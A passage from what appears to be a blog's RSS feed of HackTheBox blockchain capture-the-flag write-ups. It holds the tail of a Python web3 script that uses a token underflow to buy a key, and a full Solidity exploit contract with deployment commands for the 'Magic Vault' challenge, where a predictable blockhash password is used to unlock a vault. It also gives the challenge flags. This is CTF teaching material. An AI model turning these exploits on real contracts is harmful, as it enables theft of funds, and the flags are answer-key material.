style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;chainId&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;chain_id,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;nonce&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get_transaction_count(player),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;to&amp;#34;&lt;/span&gt;: to,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;value&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gas&amp;#34;&lt;/span&gt;: gas,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: data,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;maxFeePerGas&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_wei(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gwei&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;maxPriorityFeePerGas&amp;#34;&lt;/span&gt;: w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_wei(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;gwei&amp;#34;&lt;/span&gt;),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    stx &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; acct&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;sign_transaction(tx)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    h &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;send_raw_transaction(stx&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;raw_transaction)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    r &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;wait_for_transaction_receipt(h)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; h&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;hex(), r&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;status&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# 1) Underflow&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(send(silver, sig_transfer &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; pad_addr(shop) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; pad32(&lt;span style=&#34;color:#ae81ff&#34;&gt;101&lt;/span&gt;), gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;120000&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# 2) Approve&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(send(silver, sig_approve &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; pad_addr(shop) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; pad32(&lt;span style=&#34;color:#ae81ff&#34;&gt;30_000_000&lt;/span&gt;), gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;120000&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# 3) Buy key&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(send(shop, sig_buy &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; pad32(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;), gas&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;180000&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;solved_raw &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; w3&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;eth&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;call({&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;to&amp;#34;&lt;/span&gt;: setup, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: sig_solved &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; pad_addr(player)})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;isSolved:&amp;#34;&lt;/span&gt;, int&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;from_bytes(solved_raw, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;big&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;flag:&amp;#34;&lt;/span&gt;, requests&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;get(BASE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;/flag&amp;#34;&lt;/span&gt;, timeout&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;10&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;text)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;flag&#34;&gt;Flag&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{und32f10w_70_937_7h3_k3y}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Blockchain: Magic Vault</title>
      <link>/posts/htb-blockchain-magic-vault/</link>
      <pubDate>Wed, 25 Feb 2026 01:41:00 +0700</pubDate>
      <guid>/posts/htb-blockchain-magic-vault/</guid>
      <description>&lt;h2 id=&#34;challenge-summary&#34;&gt;Challenge Summary&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Name:&lt;/strong&gt; Magic Vault&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Category:&lt;/strong&gt; Blockchain&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Easy&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Goal condition:&lt;/strong&gt; make &lt;code&gt;TARGET.mapHolder() != address(TARGET)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pagevault hint=&#34;Ask bz for access&#34;&gt;&#xA;&lt;h2 id=&#34;root-cause&#34;&gt;Root Cause&lt;/h2&gt;&#xA;&lt;p&gt;&lt;code&gt;unlock(bytes16)&lt;/code&gt; depends on internal key material derived from &lt;code&gt;_magicPassword()&lt;/code&gt;, where constructor-time &lt;code&gt;passphrase&lt;/code&gt; derivation uses:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-solidity&#34; data-lang=&#34;solidity&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;keccak256(abi.encodePacked(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;(blockhash(block.timestamp))))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In constructor context, that blockhash path is effectively deterministic for this challenge deployment pattern. Combined with strict but satisfiable bit-layout checks, the lock can be opened reliably.&lt;/p&gt;&#xA;&lt;h2 id=&#34;exploit-contract-full-poc&#34;&gt;Exploit Contract (Full PoC)&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-solidity&#34; data-lang=&#34;solidity&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// SPDX-License-Identifier: UNLICENSED&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;pragma solidity&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;8&lt;/span&gt;.&lt;span style=&#34;color:#ae81ff&#34;&gt;13&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;interface&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;IVault&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;nonce&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;external&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;view&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;returns&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;owner&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;external&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;view&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;returns&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;address&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;unlock&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;bytes16&lt;/span&gt; _password) &lt;span style=&#34;color:#66d9ef&#34;&gt;external&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;claimContent&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;external&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;contract&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;Exploit&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    IVault &lt;span style=&#34;color:#66d9ef&#34;&gt;public&lt;/span&gt; target;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; n;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;constructor&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;address&lt;/span&gt; _target) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        target &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; IVault(_target);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;_generateKey&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt; _reductor) &lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;returns&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt; ret) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;(keccak256(abi.encodePacked(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;(blockhash(block.number &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; _reductor)) &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; n)));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        n&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;_magicPassword&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;private&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;returns&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;bytes8&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        n &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; target.nonce();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt; key1 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; _generateKey(block.timestamp &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;uint128&lt;/span&gt; key2 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint128&lt;/span&gt;(_generateKey(&lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;bytes32&lt;/span&gt; passphrase &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; keccak256(abi.encodePacked(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;bytes8&lt;/span&gt; secret &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;bytes8&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#66d9ef&#34;&gt;bytes16&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#66d9ef&#34;&gt;uint128&lt;/span&gt;(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint128&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;bytes16&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;bytes32&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint256&lt;/span&gt;(passphrase) &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; key1)))) &lt;span style=&#34;color:#f92672&#34;&gt;^&lt;/span&gt; key2&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; (secret &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;32&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; secret &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;16&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;pwn&lt;/span&gt;() &lt;span style=&#34;color:#66d9ef&#34;&gt;external&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64&lt;/span&gt; ownerPart &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;uint160&lt;/span&gt;(target.owner()));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64&lt;/span&gt; secretPart &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint64&lt;/span&gt;(_magicPassword());&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;bytes16&lt;/span&gt; key &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;bytes16&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;uint128&lt;/span&gt;(ownerPart) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt; secretPart);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        target.unlock(key);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        target.claimContent();&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;deployment--execution&#34;&gt;Deployment / Execution&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;forge create --broadcast Exploit.sol:Exploit &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --rpc-url &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$RPC&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --private-key &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$PRIV&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;&lt;/span&gt;  --constructor-args &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$TARGET&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cast send &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$EXPLOIT_ADDR&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;pwn()&amp;#34;&lt;/span&gt; --rpc-url &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$RPC&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt; --private-key &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;$PRIV&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;flag&#34;&gt;Flag&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-text&#34; data-lang=&#34;text&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTB{3ve2yth1n9_15_pu811c_1n_7h3_810ckch41n}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/pagevault&gt;</description>
    </item>
    <item>
      <title>HTB - Blockchain: Honor Among Thieves</title>
      <link>/posts/htb-blockchain-honor-among-thieves/</link>
      <pubDate>Wed, 25 Feb 2026 01:40:00 +0700</pubDate>
      <guid>/posts/htb-blockchain-honor-among-thieves/</guid>
